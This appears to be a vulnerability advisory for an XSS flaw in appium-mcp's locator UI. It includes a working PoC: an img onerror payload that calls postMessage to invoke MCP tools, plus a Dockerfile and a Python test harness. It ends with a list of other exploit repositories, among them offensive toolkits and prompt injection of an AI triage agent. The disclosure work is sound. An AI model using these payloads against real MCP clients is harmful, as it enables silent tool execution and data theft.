## Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI) ### Summary `appium-mcp`'s `createLocatorGeneratorUI` function interpolates attacker-controlled element attributes — `text`, `content-desc`, `resource-id`, and locator selector values — directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the `generate_locators` tool. When a victim's MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via `window.parent.postMessage`, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability. ### Details The vulnerability is a stored/reflected cross-site scripting (XSS) issue in the MCP UI generation pipeline. **Vulnerable sink — `src/ui/mcp-ui-utils.ts:730–740`:** ```ts ${element.text ? `<p class="element-text"><strong>Text:</strong> ${element.text}</p>` : ''} ${element.contentDesc ? `<p class="element-text"><strong>Content Desc:</strong> ${element.contentDesc}</p>` : ''} ${element.resourceId ? `<p class="element-text"><strong>Resource ID:</strong> <code>${element.resourceId}</code></p>` : ''} <code class="selector">${selector}</code> <button class="test-btn" onclick="testLocator('${strategy}', `${selector.replace(/`/g, '\\`')}`)">Test</button> ``` None of `element.text`, `element.contentDesc`, `element.resourceId`, `selector`, or `strategy` are HTML-escaped before insertion. The `onclick` attribute additionally embeds `selector` and `strategy` into an inline JavaScript string using only a backtick-escape that is insufficient to prevent breakout via HTML event attribute syntax or single-quote injection. By contrast, `createPageSourceInspectorUI` at `src/ui/mcp-ui-utils.ts:911–916` does apply escaping to the page source, confirming that the protection gap in `createLocatorGeneratorUI` is an oversight, not a design choice. **Complete data flow (source → sink):** 1. `src/tools/test-generation/locators.ts:57` — `getPageSource(driver)` reads the page source XML from an active Appium session; the connected app is fully attacker-controlled. 2. `src/tools/test-generation/locators.ts:72` — the raw page source is passed to `generateAllElementLocators`. 3. `src/locators/source-parsing.ts:108` — XML attribute values undergo only newline replacement (`attr.value.replace(/(\n)/gm, '\n')`); HTML entities such as `<` are decoded into raw `<` characters by the XML parser with no re-encoding. 4. `src/locators/generate-all-locators.ts:73–75` — `element.attributes.text`, `['content-desc']`, and `['resource-id']` are copied verbatim into the locator result object. 5. `src/tools/test-generation/locators.ts:90` — the locator objects are passed to `createLocatorGeneratorUI`. 6. `src/ui/mcp-ui-utils.ts:730–740` — values are interpolated directly into the HTML response (sink). The `window.parent.postMessage({type:'tool', payload:{toolName:...}}, '*')` mechanism used throughout `src/ui/mcp-ui-utils.ts:645–695` means any JavaScript executing in the rendered UI resource can invoke registered MCP tools unconditionally. **Remediation** requires an HTML-escaping helper (replacing `&`, `<`, `>`, `"`, `'`) applied to all element properties in the HTML context, and `JSON.stringify` for values embedded inside JavaScript string literals in `onclick` handlers. ### PoC **Prerequisites:** - `appium-mcp` v1.85.8 or v1.85.9 installed from npm - Node.js 20+ with the package built (`npm install && npm run build`) - An MCP client that renders HTML resources returned by `generate_locators` (e.g., VS Code with the Appium MCP extension, or any WebView-based MCP host) **Static confirmation (no Appium session required):** ```bash node --input-type=module <<'EOF' import { generateAllElementLocators } from './dist/locators/generate-all-locators.js'; import { createLocatorGeneratorUI } from './dist/ui/mcp-ui-utils.js'; const xml = `<hierarchy> <node class="android.widget.TextView" clickable="true" enabled="true" displayed="true" text="<img src=x onerror="window.parent.postMessage({type:'tool',payload:{toolName:'appium_screenshot',params:{}},'*')">" content-desc="<b>xss-in-contentDesc</b>" resource-id="com.attacker.app/<u>xss-resource-id</u>"/> </hierarchy>`; const locators = generateAllElementLocators(xml, true, 'uiautomator2', { fetchableOnly: true }); const html = createLocatorGeneratorUI(locators); console.log('UNESCAPED <img src=x onerror= present:', html.includes('<img src=x onerror=')); console.log('UNESCAPED <b> in contentDesc present: ', html.includes('<b>xss-in-contentDesc</b>')); console.log('UNESCAPED <u> in resourceId present: ', html.includes('<u>xss-resource-id</u>')); EOF ``` **Expected output:** ``` UNESCAPED <img src=x onerror= present: true UNESCAPED <b> in contentDesc present: true UNESCAPED <u> in resourceId present: true ``` **Dynamic confirmation (Docker, network-isolated):** ```bash # Build context is the parent directory (contains repo/ and vuln-001/) docker build -t appium-mcp-vuln-001 \ -f vuln-001/Dockerfile \ reports/npmAI_303_appium__appium-mcp docker run --rm --network none appium-mcp-vuln-001 ``` The container output confirms: ``` HTML has unescaped <img src=x onerror= : true Text paragraph : <p class="element-text"><strong>Text:</strong> <img src=x onerror="window.parent.postMessage(...)"></p> │ [PASS] XSS CONFIRMED │ │ createLocatorGeneratorUI inserted the raw <img> XSS tag │ │ execute the onerror handler, enabling arbitrary MCP tool │ ``` **End-to-end exploitation against a real MCP client:** 1. Attacker publishes or sideloads an Android/iOS app whose UI element `text`, `content-desc`, or `resource-id` attributes contain an XSS payload (e.g., `<img src=x onerror="window.parent.postMessage({type:'tool',payload:{toolName:'execute_script',params:{script:'fetch(...)'}},'*')">`). 2. Victim developer connects their Appium MCP server to the attacker's app and calls the `generate_locators` MCP tool. 3. The MCP client renders the returned HTML resource in a WebView / iframe. 4. The injected `onerror` handler fires and posts a crafted `tool` message to the parent frame, causing the MCP host to invoke arbitrary registered tools (e.g., `appium_screenshot`, `execute_script`, `get_page_source`) without user confirmation. ### Impact This is a **Cross-Site Scripting (XSS)** vulnerability. Any developer using `appium-mcp` with an MCP client that renders HTML resources (the intended workflow for the UI feature) is impacted when they inspect elements from an attacker-controlled application. **Impact scenarios:** - **Arbitrary MCP tool invocation:** Injected JavaScript calls `window.parent.postMessage` with any tool name and parameters, executing MCP tools silently (e.g., taking screenshots, reading page source, executing scripts on the device). - **Credential and data exfiltration:** Via `execute_script` or screenshot tools, an attacker can extract sensitive data visible on the device screen or in the page source. - **Lateral movement / persistence:** If the MCP host exposes file-system or shell tools, the attacker can escalate to arbitrary code execution on the developer's machine. - **Supply-chain / CI abuse:** Automated test pipelines that call `generate_locators` against third-party app builds are equally vulnerable; no human interaction beyond running the pipeline is required. The attack requires no authentication (`PR:N`), the tool is enabled by default (`default-on: Y`), and the scope is changed (`S:C`) because JavaScript executes in the MCP host frame rather than the sandboxed resource. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI # # Build context: reports/npmAI_303_appium__appium-mcp/ # (parent directory containing both repo/ and vuln-001/) # # Build: docker build -t appium-mcp-vuln-001 -f vuln-001/Dockerfile . # Run: docker run --rm --network none appium-mcp-vuln-001 FROM node:20 WORKDIR /app # Copy the vulnerable appium-mcp source tree COPY repo/ ./ # Install all dependencies. # --ignore-scripts skips postinstall hooks (native node-gyp builds) that # are irrelevant for the TypeScript compilation we need. # --no-audit / --no-fund suppress network noise. RUN npm install --ignore-scripts --no-audit --no-fund 2>&1 # Compile TypeScript -> JavaScript (dist/) RUN npm run build # Copy the PoC exploit script into the built app directory COPY vuln-001/exploit.mjs ./exploit.mjs # Default: run the XSS exploit proof-of-concept ENTRYPOINT ["node", "exploit.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 Dynamic PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI This script: 1. Builds a Docker image containing the vulnerable appium-mcp source. 2. Runs exploit.mjs inside the container with --network none (no outbound traffic). 3. Parses the output to confirm the XSS payload survived unescaped into the HTML. 4. Writes phase2_result.json with PASS/FAIL verdict and evidence. Safety constraints: - Uses local Docker only (no external services). - Network is disabled in the container (--network none). - No live Appium session, no real device, no real credentials. - The repo source is not modified; the vulnerability is in the original code. """ import json import os import subprocess import sys # ── Paths ───────────────────────────────────────────────────────────────────── VULN_DIR = os.path.dirname(os.path.abspath(__file__)) CONTEXT_DIR = os.path.dirname(VULN_DIR) # parent: npmAI_303_appium__appium-mcp/ DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") RESULT_PATH = os.path.join(VULN_DIR, "phase2_result.json") IMAGE_NAME = "appium-mcp-vuln-001" BUILD_CMD = ( f"docker build -t {IMAGE_NAME} " f"-f vuln-001/Dockerfile " f"{CONTEXT_DIR}" ) RUN_CMD = f"docker run --rm --network none {IMAGE_NAME}" POC_CMD = f"python3 {os.path.basename(__file__)}" def run(cmd: list[str], timeout: int = 600) -> tuple[int, str, str]: """Run a subprocess and return (returncode, stdout, stderr).""" result = subprocess.run( cmd, capture_output=True, text=True, timeout=timeout, ) return result.returncode, result.stdout, result.stderr def build_image() -> tuple[bool, str]: """Build the Docker image. Returns (success, error_message).""" print("[*] Building Docker image (this may take several minutes for npm install)...") print(f" {BUILD_CMD}\n") rc, stdout, stderr = run( ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, CONTEXT_DIR], timeout=600, ) if rc != 0: tail = (stdout + stderr)[-3000:] print(f"[!] Build FAILED (exit {rc}):\n{tail}") return False, tail print("[*] Build succeeded.") return True, "" def run_exploit() -> tuple[int, str, str]: """Run the exploit container. Returns (returncode, stdout, stderr).""" print(f"\n[*] Running exploit container...") print(f" {RUN_CMD}\n") rc, stdout, stderr = run( ["docker", "run", "--rm", "--network", "none", IMAGE_NAME], timeout=120, ) print("--- container stdout ---") print(stdout) if stderr.strip(): print("--- container stderr ---") print(stderr) return rc, stdout, stderr def extract_evidence(stdout: str) -> str: """Pull the most relevant lines from exploit output.""" evidence_lines = [] for line in stdout.splitlines(): upper = line.upper() if any(kw in upper for kw in [ "PASS", "FAIL", "CONFIRMED", "EVIDENCE", "UNESCAPED", "IMG SRC", "ONERROR", "TEXT PARAGRAPH", "CONTENTDESC", "RESOURCEID", "XSS", ]): evidence_lines.append(line) return "\n".join(evidence_lines) if evidence_lines else stdout[:2000] def write_result(payload: dict) -> None: with open(RESULT_PATH, "w", encoding="utf-8") as fh: json.dump(payload, fh, indent=2, ensure_ascii=False) print(f"\n[*] Result written to: {RESULT_PATH}") def main() -> None: # ── Build ────────────────────────────────────────────────────────────────── build_ok, build_err = build_image() if not build_ok: write_result({ "passed": False, "verdict": "FAIL", "reason": ( "Docker 이미지 빌드 실패. npm install 또는 TypeScript 컴파일 오류가 발생함. " "오류 메시지를 확인하여 누락된 패키지나 호환성 문제를 해결한 뒤 재시도 필요." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": f"Build error (last 2000 chars):\n{build_err[-2000:]}", "artifacts": ["Dockerfile", "poc.py"], }) sys.exit(1) # ── Run ──────────────────────────────────────────────────────────────────── exit_code, stdout, stderr = run_exploit() # ── Verdict ──────────────────────────────────────────────────────────────── xss_confirmed = (exit_code == 0) and ("XSS CONFIRMED" in stdout) evidence = extract_evidence(stdout) if xss_confirmed: write_result({ "passed": True, "verdict": "PASS", "reason": ( "컨테이너 내부에서 실제 실행을 통해 XSS 취약점이 확인됨. " "generateAllElementLocators()가 XML 속성의 <img> 엔티티를 " "원시 HTML 태그 <img src=x onerror=...>로 디코딩하고, " "createLocatorGeneratorUI()가 이를 HTML 이스케이프 없이 그대로 삽입함. " "MCP UI 렌더러(iframe/WebView)에서 해당 HTML을 렌더링하면 onerror 핸들러가 실행되어 " "window.parent.postMessage()를 통해 임의 MCP 도구를 호출할 수 있음." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": evidence, "artifacts": ["Dockerfile", "poc.py"], }) print("[PASS] XSS exploit confirmed.") sys.exit(0) else: reason_detail = ( f"컨테이너 종료 코드: {exit_code}. " "'XSS CONFIRMED' 문자열이 출력에 없음. " "exploit.mjs 또는 Dockerfile을 확인하고 재시도 필요." ) write_result({ "passed": False, "verdict": "FAIL", "reason": reason_detail, "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": (stdout + "\n" + stderr)[:3000], "artifacts": ["Dockerfile", "poc.py"], }) print(f"[FAIL] Exploit did not produce expected output (exit_code={exit_code}).") sys.exit(1) if __name__ == "__main__": main() ```
PoC: mikrotrick-poc
CVE-2026-67276 RouterOS SSH public-key authentication bypass lab PoC
PoC: xiaomi15-dada-cve-2026-64560
Device-bound CVE-2026-64560 adaptation for Xiaomi 15 dada OS4.0.0.8
PoC: cve-2026-32475-elementor-pro-lab
A/B Docker lab + PoC for CVE-2026-32475 (Elementor Pro Forms unauthenticated arbitrary file upload -> RCE via validation/move loop desync)
PoC: KeySniper
**CVE-2026-18963** — unauthenticated Keycloak account takeover via the reset-credentials flow.
PoC: CVE-2026-58138
CVE-2026-58138
PoC: CVE-2026-41940
cPanel & WHM - Authentication Bypass via Session-File CRLF Injection
PoC: CVE-2024-12356
Unauthenticated RCE detector + RCA for BeyondTrust Remote Support / PRA (CVE-2024-12356 + CVE-2025-1094)
PoC: CVE-2026-85046
CVE-2026-85046
PoC: gha-lab-733c168b88
Authorized security-research lab reproducing CVE-2026-44246 (GHSA-63mx-j37w-gh59): prompt injection via verbatim issue title/body inlining into the claude-code-action triage agent in nnU-Net's issue-triage workflow. Snapshot of MIC-DKFZ/nnUNet @ 9a1db0dd1c74894fa17e79014be4097f546a51be.
PoC: gha-lab-677752506e
Authorized security-research lab reproducing CVE-2026-42298 (pull_request_target docker-build RCE in pr-docker-build.yml) — flattened snapshot of gitroomhq/postiz-app
PoC: CVE-2026-42559
Docker lab + Python PoC for CVE-2026-42559 - DNS rebinding via unvalidated Host header in the rmcp (Rust MCP SDK) Streamable HTTP server transport
PoC: CVE-2024-7804
Docker lab + Python exploit for CVE-2024-7804 (PyTorch torch.distributed.rpc unsafe pickle deserialization RCE, CWE-502, torch <= 2.3.1)
PoC: gha-lab-456dd8a245
Security-research lab reproducing CVE-2026-41414 (pull_request_target pwn in .github/workflows/pr.yml) — snapshot of skim-rs/skim @ ca986f4, not a fork.
PoC: gha-lab-5bce203f66
Security-research lab: reproduction of CVE-2026-41249 (GHSA-q58j-g3f4-h26h) — pull_request_target pwn request in .github/workflows/static.yml, snapshot of coreshop/CoreShop@cc1e3f54
PoC: CVE-2025-57819
CVE-2025-57819 - FreePBX 16 Endpoint Manager unauthenticated SQL injection to RCE (PoC)
PoC: gha-lab-360f77d0d4
Authorized security-research lab: reproduction of CVE-2026-39866 (GHSA-9prc-pp2c-3427) — workflow_dispatch input template injection in .github/workflows/release_update.yml of LawnchairLauncher/lawnchair @ b089bae8c007f36a8ce0346725182a107d97cd05. Snapshot pinned to the vulnerable commit; owner-gated sign-info step retargeted for the lab.
PoC: CVE-2026-44578-next-js-ssrf
este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah
PoC: log4shell-exploitation-lab
CVE-2021-44228 Log4Shell reproduced end to end: exploitation through remediation
PoC: GitLab-CVE-2023-7028
A mock app for the GitLab CVE-2023-7028, which allow multile email adresses when ordering a password reset.
PoC: CVE-2026-64849-poc-lab
este laboratorio puede estar bien o mal preguntale a la IA estoy probando pero debe funcionar hahahah
PoC: CVE-2021-3030
Advisory: Cute Editor 6.4 reflected XSS via 'Theme' parameter in colorpicker_more.aspx
PoC: CVE-2026-27876
Grafana SQL Expressions Arbitrary File Write to RCE
PoC: CVE-2026-28956-jxl-messages-surface
JPEG XL auto-decodes in the iOS Messages preview path — delivery-surface finding for CVE-2026-28956 (AppleJPEGXL), with patch-diff attribution (libjxl 0.10.4->0.10.5) and an honest reliability check on the public PoC.
PoC: CVE-2026-73570
Zimbra Collaboration Suite RCE — SMTP log poisoning → swatchdog → OS Command Injection (CVSS 8.9, CISA KEV)
PoC: CVE-2020-10770-keycloak-exploit-poc
Keycloak Blind SSRF POC
PoC: CVE-2026-1529-Keycloak-Exploit-Tool
Keycloak: Unauthorized organization registration via improper invitation token validation
PoC: CVE-2026-18963-keycloak
CVE-2026-18963 — Keycloak reset-credentials bypass -> Account Takeover
PoC: CVE-2026-64747
Root cause + macOS reachability PoC for CVE-2026-64747 (AppleAVE2 kext buffer overflow, fixed 26.6 / 905.40.1). Fully reversed AppleAVE2UserClient wire protocol, mode-5 LRB overflow math, IOKit PoC driving the configure path.
PoC: CVE-2026-64705
Root cause + PoC for CVE-2026-64705 (macOS HFS xattr kernel heap overflow, fixed 14.8.7). Weaponized HFS+ image: unbounded bcopy loop -> kernel heap overflow -> panic on pre-fix systems; validator rejection on patched. Kext diff, mechanism, rebuild recipe.
PoC: CVE-2026-78938
Root cause analysis + working R/W exploit for CVE-2026-78938 (V8 TurboFan CheckMaps instance-migration type confusion, Chrome 152, exploited in the wild). Crash PoC + addrof/fakeobj/arbitrary R/W over the compressed heap.
PoC: Jozini-network-scanner
# Jozini Network Scanner Built in Termux at KwaQondile Library, Jozini KZN Tools: - scanner.py: Port scanner with banner grabbing (20 ports + report saving) - cve_check.py: Maps RouterOS version to known CVEs Finding: MikroTik RouterOS 6.46.8 vulnerable to CVE-2020-2021 (Critical) Author: [Your Name] - Aspiring Pentester
PoC: CVE-2026-52774-YESWIKI-XSS
a reflected XSS vulnerability in YesWiki's Bazar widget handler.
PoC: netty-http2-check
CVE-2025-55163 / CVE-2026-56819: offline checker for the 7 netty-codec-http2 CVEs. Tells you which ones you are exposed to, and the one version that fixes all seven (4.1.136.Final / 4.2.16.Final) - written on none of the advisories. Does not scan pom.xml on purpose: WebFlux pulls it in transitively.
PoC: CVE-2026-0920
A PoC exploit for CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
PoC: CVE-2026-84645
Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC & analysis. Requires Item/Configure; affects weekly <= 2.579 / LTS <= 2.568.2
PoC: cyberthreat_DBSproject
threat = { "id": "CVE-2026-0001", "title": "Apache HTTP Server Remote Code Execution", "vendor": "Apache", "product": "HTTP Server", "description": "A vulnerability in Apache HTTP Server allows remote attackers to execute arbitrary code.", "cvss": 9.8, "kev": True, "published": "2026-06-30" }
PoC: CVE-2026-6471
CVE-2026-6471
PoC: CVE-2026-75865
Unauthenticated arbitrary file upload -> RCE in WPLP Cookie Consent (gdpr-cookie-consent) <= 4.4.1 - technical write-up and PoC
PoC: CVE-2026-32475
CVE-2026-32475 PoC : Elementor Pro Unauthenticated Arbitrary File Upload to RCE
PoC: CVE-2023-42793-TeamCity-Unauthenticated-RCE
A PoC and automated version detection/exploit tool for JetBrains TeamCity Authentication Bypass & RCE (CVE-2023-42793).
PoC: cve-2026-6471-postgres-logical-decoding-dlopen
postgres CVE-2026-6471 Exploit
PoC: gpgsm-cve-2026-57062-cms-gcm-short-tag
gpgsm CVE-2026-57062 exploit POC
PoC: CVE-2025-4255---Buffer-Overflow
Exploit Framework for CVE-2025-4255
PoC: gha-lab-4a8fad8536
Security-research lab reproducing CVE-2026-39382 (GHSA-5jxf-vmqr-5g82): command injection in dbt-labs reusable workflow open-issue-in-repo.yml, driven by a dbt-core-style docs-issue.yml caller
PoC: gha-lab-ed7a1740c4
Security-research lab: controlled reproduction of GHSA-3g6g-gq4r-xjm9 / CVE-2026-35580 (GitHub Actions workflow_dispatch input shell injection) against a pinned snapshot of NationalSecurityAgency/emissary
PoC: gha-lab-85f022290a
Research lab reproduction of CVE-2026-34243 (GHSA-r4fj-r33x-8v88): command injection via issue_comment.body in .github/workflows/comment.yaml — snapshot of njzjz/wenxian@ca4e04de86aa970c0e3cb1c7f2bd103d339fbe51
PoC: gha-lab-9b5e3ccfbe
Security-research lab: reproduction of CVE-2026-33475 (GitHub Actions script injection via PR branch name in deploy-docs-draft.yml), snapshot of langflow-ai/langflow
PoC: research-cve-2026-85649
[MIRROR] The CVE-2026-85649 Security Research Publication.
PoC: gha-lab-61c59f4acb
Security-research lab: controlled reproduction of CVE-2026-33075 (pwn request in labring/FastGPT preview-image workflow, pull_request_target + checkout-of-fork + privileged buildx push)
PoC: gha-lab-3f1ff30e9c
Authorized security-research lab reproducing CVE-2026-31852 (jellyfin/jellyfin-ios pull_request_target pwn in code-quality.yml) — isolated snapshot, not the upstream project
PoC: gha-lab-ca4fa82ac5
Security-research lab: reproduction of CVE-2026-29075 (GHSA-3j55-5q6x-2h48) in mesa/mesa benchmarks.yml pull_request_target workflow — single-commit snapshot for authorized vulnerability reproduction.
PoC: gha-lab-6c3094af9e
Authorized security-research lab reproducing CVE-2026-27941 (pwn request in pull_request_target workflows) — snapshot of openlit/openlit
PoC: gha-lab-a7f6217d26
Security-research reproduction of CVE-2026-27938 / GHSA-4q9f-mjxf-rx7x (GitHub Actions expression injection in release workflows) — snapshot of wp-graphql/wp-graphql at b216fe22f3a119f256511ec7353f536fee6886ac
PoC: cve-2026-19900-PoC
cve-2026-19900-PoC
PoC: CVE-2026-85769
Heap out-of-bounds read in libtpms TPM 2.0 state deserialization — CVE-2026-85769
PoC: CVE-2026-19632
Unauthenticated account takeover PoC for TranslatePress Multilingual <= 3.3.1 (WordPress)
PoC: CVE-2026-11613
Divi Ajax Filter <= 5.1.2 Unauthenticated Local File Inclusion via 'custom_loop_template'
PoC: gha-lab-25b7988758
Authorized security-research reproduction of CVE-2026-27701 / GHSA-xh9w-5859-x97j (live-codes/livecodes @ 8017e01): untrusted PR title interpolated into i18n-update-pull github-script block.
PoC: copy-fail-CVE-2026-31431-cpp
https://github.com/theori-io/copy-fail-CVE-2026-31431 but ported to c++ for fun
PoC: CVE-2026-83548-checker
Non-intrusive detector for SonicWall SMA 1000 exposure to CVE-2026-83548/-83549 (version/patch-state check; no exploitation)
PoC: gha-lab-b16a4f3554
Security-research lab: CVE-2026-24480 pull_request_target pre-commit RCE in qgis/QGIS (snapshot at vulnerable commit)
PoC: Yordam-Kutuphane-Otomasyonunda-Coklu-HTML-Enjeksiyonu
CVE-2026-77818 - Yordam Kütüphane Otomasyon Sistemi - Üç ayrı noktada yansıtılmış HTML enjeksiyonu, form action ele geçirme ve kimlik bilgisi hırsızlığı (CWE-79)
PoC: jsherp-user-info-idor
VulDB advisory: jshERP authenticated /user/info IDOR and password-digest replay after CVE-2025-60800
PoC: gha-lab-7927d7d06f
Security-research lab reproducing CVE-2026-22869 (pwn) — arbitrary code execution in privileged pull_request_target run via npx local-bin hijack, snapshot of eigent-ai/eigent @ 2a406536
PoC: cve-2026-31431
PoC for CVE-2026-31431
PoC: gha-lab-b5c1313658
Authorized security-research lab reproducing CVE-2026-1699 (pwn request in preview.yml) — snapshot of eclipse-theia/theia-website
PoC: CVE-2026-63077
CVE-2026-63077 - Unauthenticated RCE exploit for JetBrains TeamCity via Agent Polling Deserialization. Supports mass scanning, multi-threading, and interactive shell. For authorized security testing only.
PoC: CVE-2026-6471
CVE-2026-6471 - Draft or TODO
PoC: CVE-2026-73554
CVE-2026-73554 - Draft or TODO
PoC: CVE-2026-19516
CVE-2026-19516
PoC: gha-lab-51c6b6d0a0
Lab reproducing CVE-2025-67727 (parse-community/parse-server ci-performance.yml pull_request_target RCE at e78e58d) — authorized security research
PoC: gha-lab-6904b2ccbe
Security-research lab: reproduction of CVE-2025-61584 (GHSA-9g7x-737f-5xpc) — command injection via github.head_ref in pull_request_target workflow (.github/workflows/pr.yml)
PoC: CVE-2026-85046-Patch-confusion-zero-day-vulnerability-in-Google-Chrome-s-V8-engine
Conceptual C++ patch and structural analysis for CVE-2026-85046, a critical type confusion zero-day vulnerability in Google Chrome's V8 engine
PoC: cve-disclosures
CVE-2024-57551, CVE-2024-57552, CVE-2024-57553 advisories by Aman Bahiniya
PoC: unit-01-severity-vs-risk-reflection
cve-2026-25524 Holds no customer payment data, no monitoring in place, monitored 24/7 The CVSS score is technically serious, but it doesn't tell how exposed it is, weather our existing defenses would stop or contain an attack. We should confirm the vulnerable component is reachable by untrust input in our environment.
PoC: gha-lab-d14c91f1bb
Security-research lab: reproduction of CVE-2025-58371 (GitHub Actions command injection via PR title in Discord PR Notifier), snapshot of RooCodeInc/Roo-Code @ 08a825f9bb0086a88cff5a79b9af4731bba7d076
PoC: thymeleaf-check
Offline checker for Thymeleaf CVE-2026-40477 / CVE-2026-41901 — tells you which of the two CVSS 9.0 SSTI flaws you are exposed to, and whether your version line has a fix at all (3.0.x: it does not)
PoC: CVE-2024-36058
CVE-2024-36058 — Authenticated Time-Based Blind SQL Injection in Koha Library Software < 22.05.22 (opac-sendbasket.pl). Advisory + PoC by Hacklantic.
PoC: CVE-2024-36057
CVE-2024-36057 — Authenticated OS Command Injection in Koha Library Software < 22.05.22 (upload-cover-image.pl). Advisory + PoC by Hacklantic.
PoC: gha-lab-aa1cbc9bcf
Authorized security-research reproduction of CVE-2025-54594 (GHSA-588g-38p4-gr6x): privileged issue_comment-triggered canary release workflow checking out untrusted fork code and running its npm scripts with GITHUB_TOKEN/NPM_TOKEN in env. Snapshot of callstackincubator/react-native-bottom-tabs @ d765b1f695762490327dcb8f6a2f17542cf0abdb.
PoC: CVE-2026-82329-poc
CVE-2026-82329 Poc
PoC: CVE-2025-34158-CVE-2020-5741
CVE-2025-34158, CVE-2020-5741 - Draft or TODO
PoC: gha-lab-ba981941f0
Security-research lab reproducing CVE-2025-54430 (GHSA-wrg3-xqw8-m85p): secrets exfiltration via issue_comment-triggered Benchmark Bot in dedupeio/dedupe. Snapshot of dedupeio/dedupe@54ecfe77d41390da66899596834a2bde3712c966.
PoC: gha-lab-f894926966
Authorized security-research reproduction lab for CVE-2025-54415 (GHSA-g5hx-xv45-9whg): astronomer/dag-factory snapshot at 464c75a — pull_request_target head-SHA checkout executes attacker-controlled hatch scripts in base-repo context
PoC: gha-lab-6926364d94
Security research lab reproducing CVE-2025-53546 (GHSA-h87r-5w74-qfm4): pull_request_target arbitrary code execution in RSSNext/Folo's auto-fix lint workflow — authorized, isolated reproduction
PoC: CVE-2025-8518
CVE-2025-8518 - Draft or TODO
PoC: gha-lab-3b0a828a69
Security-research lab reproducing CVE-2025-53104 (GHSA-432r-9455-7f9x): command injection in discussion-to-slack.yml of gluestack/gluestack-ui
PoC: gha-lab-e8902eccd3
Security research lab: reproduction of CVE-2025-52467 (pgai pull_request_target workflow code execution / GITHUB_TOKEN exfiltration) — snapshot of timescale/pgai
PoC: tomcatfileread
CVE-2020-1938 (Ghostcat) Tomcat AJP file read/file include PoC with python3 port
PoC: CVE-Chamilo-LMS
CVE-2026-61578, CVE-2026-61582, CVE-2026-61583, CVE-2026-61584, CVE-2026-61585, CVE-2026-61587, CVE-2026-61600, CVE-2026-61601, CVE-2026-61602, CVE-2026-70647, CVE-2026-70648 - Draft or TODO
PoC: gha-lab-2f775f277c
Authorized lab reproduction of CVE-2025-47928 (spotipy-dev/spotipy pull_request_target secrets exfiltration) — snapshot at vulnerable commit 4f5759d
PoC: CVE-2026-31787
Linux kernel double free in Xen privcmd driver
PoC: gha-lab-fb6df3d456
Authorized security-research lab reproducing CVE-2025-46820 (GHSA-cwj7-6v67-2cm4): GITHUB_TOKEN persisted into publicly downloadable CI artifacts in phpgt/Dom. Snapshot of phpgt/Dom @ b73d7e8.
PoC: CVE-2026-20212
CVE-2026-20212 - Draft or TODO
PoC: CVE-2026-56718
AJCloud AJY IPC Firmware Path Traversal via jdbhttpd
PoC: psa-2026-00043-recovery
Recovery notes for proxmox advisory ID: PSA-2026-00043-1 (CVE-2023-54391)
PoC: gha-lab-ba8e0c4217
Authorized security-research lab: reproduction of CVE-2024-42370 / GHSA-4hq2-rpgc-r8r7 (env injection in docs-preview.yml) — snapshot of litestar-org/litestar@18d84d84
PoC: CVE-2026-65643-PoC-Toolkit
🧰 CVE-2026-65643 – cPanel Domain Parking RCE Toolkit (CVSS 8.7) | Red/Blue Team suite for unpatched cPanel & WHM 11.x (110,134,136,138). 2 tools: Full Exploit (reverse shell, webshell, persistence, root passwd, file R/W, mass scan, Tor), Blue Team PoC (detection, reporting, audit). w/Python. 🦾 Only Use Ethically, Stay Legal <3
PoC: CVE-2026-4813
PoC for CVE-2026-4813
PoC: cve-2026-75604
Research lab and exploit chain for CVE-2026-75604: path traversal in the Next.js incremental cache, to RCE on Windows.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free